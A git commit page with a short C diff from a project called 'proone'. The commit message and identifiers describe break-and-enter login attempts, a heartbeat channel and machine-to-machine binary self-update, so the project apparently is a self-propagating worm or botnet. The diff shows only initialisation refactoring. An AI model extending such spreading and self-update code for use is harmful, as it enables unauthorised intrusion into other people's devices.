diff options
author | David Timber <mieabby@gmail.com> | 2021-08-10 19:43:33 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-08-10 19:43:33 +1000 |
commit | bbd889f13f94d59a5b78f3c3bc93499d523b8264 (patch) | |
tree | f107ac94e0b926476d8a3d8cc8c1f61672c836af /src/proone.c | |
parent | c008231406e43f314a19a3d34c1218d06815dc8a (diff) |
Impl M2M binary update ...
* Use getopt in proone-bne
* Call pth_yield() where necessary
* htbt: truncate downloaded binary if actual size of data transfered is
less than alloc_len
* prne_rcb_param.self is not optional as proone-bne uses nybin
* Add --vercmp option for proone-bne to test M2M bin update
* Refactor proone-htbtclient
* Protocol change: prne_htbt_bin_meta.alloc_len is now size_t
* Add convenience functions: prne_realloc_str(), prne_redup_str()
Diffstat (limited to 'src/proone.c')
-rw-r--r-- | src/proone.c | 9 |
1 files changed, 6 insertions, 3 deletions
diff --git a/src/proone.c b/src/proone.c index 8656534..17d88a5 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1388,7 +1388,9 @@ static void init_bne (void) { bne_param.cb.tmpfile = cb_tmpfile; bne_param.cb.upbin = cb_upbin; - bne_param.rcb = &prne_g.rcb_param; + if (prne_g.has_ba) { + bne_param.rcb = &prne_g.rcb_param; + } bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT; } @@ -1427,9 +1429,10 @@ int main (int argc, char **args) { prne_g.blackhole[1] = -1; prne_g.shm_fd = -1; prne_init_rcb_param(&prne_g.rcb_param); + prne_g.bin_host.os = PRNE_HOST_OS; + prne_g.bin_host.arch = PRNE_HOST_ARCH; prne_g.rcb_param.ba = &prne_g.bin_archive; - prne_g.rcb_param.self.os = PRNE_HOST_OS; - prne_g.rcb_param.self.arch = PRNE_HOST_ARCH; + prne_g.rcb_param.self = &prne_g.bin_host; prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); prne_mbedtls_entropy_init(&prne_g.ssl.entpy); |